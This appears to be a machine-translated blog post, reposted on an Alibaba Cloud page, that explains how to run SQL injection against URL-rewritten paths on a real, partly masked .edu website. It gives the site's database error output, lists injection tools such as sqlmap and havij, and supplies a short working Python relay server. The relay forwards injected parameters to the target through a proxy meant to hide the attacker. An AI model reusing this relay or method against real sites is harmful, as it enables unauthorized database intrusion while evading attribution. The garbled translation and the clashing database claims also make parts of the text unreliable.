Python script for pseudo-static Injection

Source: Internet
Author: User

At present, many websites have doneRewrite, Such

/?id=1
/1
/1111.php
Under the general trend, the attack threshold gradually increases. In this way, there are advantages and disadvantages. Those who like to study will go deep into it. On the other hand, they will only fill the forum area with tools that do not understand the principles.
Examples:
http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1
Injection exists at this point.
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1dddddd, 1' at line 4
Standard injection.
Several tools havij are tested here.
http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1%Inject_Here% 
(It turns out to be an oracle database ...)
Sqlmap
Safe3
Pangolin
Cannot be directly injected here.
Here, the implementation is implemented through the injection transit:
Some of the intermediate tools may encounter various strange problems in win7. And cannot be used in linux.
I wrote an article using python code. Why does it use python because it is fast in development and does not need any environment.
from BaseHTTPServer import *import urllib2class MyHTTPHandler(BaseHTTPRequestHandler):    def do_GET(self):        path=self.path        path=path[path.find('id=')+3:]        proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})        opener = urllib2.build_opener(proxy_support)        urllib2.install_opener(opener)        url="http://www.xxxxxxxxxxxxx.edu/magazine/imedia/gallery/dickinsons-last-dance/"        try:            response=urllib2.urlopen(url+path)            html=response.read()        except urllib2.URLError,e:            html=e.read()        self.wfile.write(html)server = HTTPServer(("", 8000), MyHTTPHandler)server.serve_forever()
Less than 20 lines of code (and added the goagent agent for hidden ). The requirements have been met.
http://127.0.0.1:8000/?id=1 
To achieve the goal. It is much more efficient than constructing your own scripts to execute SQL Injection statements.
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.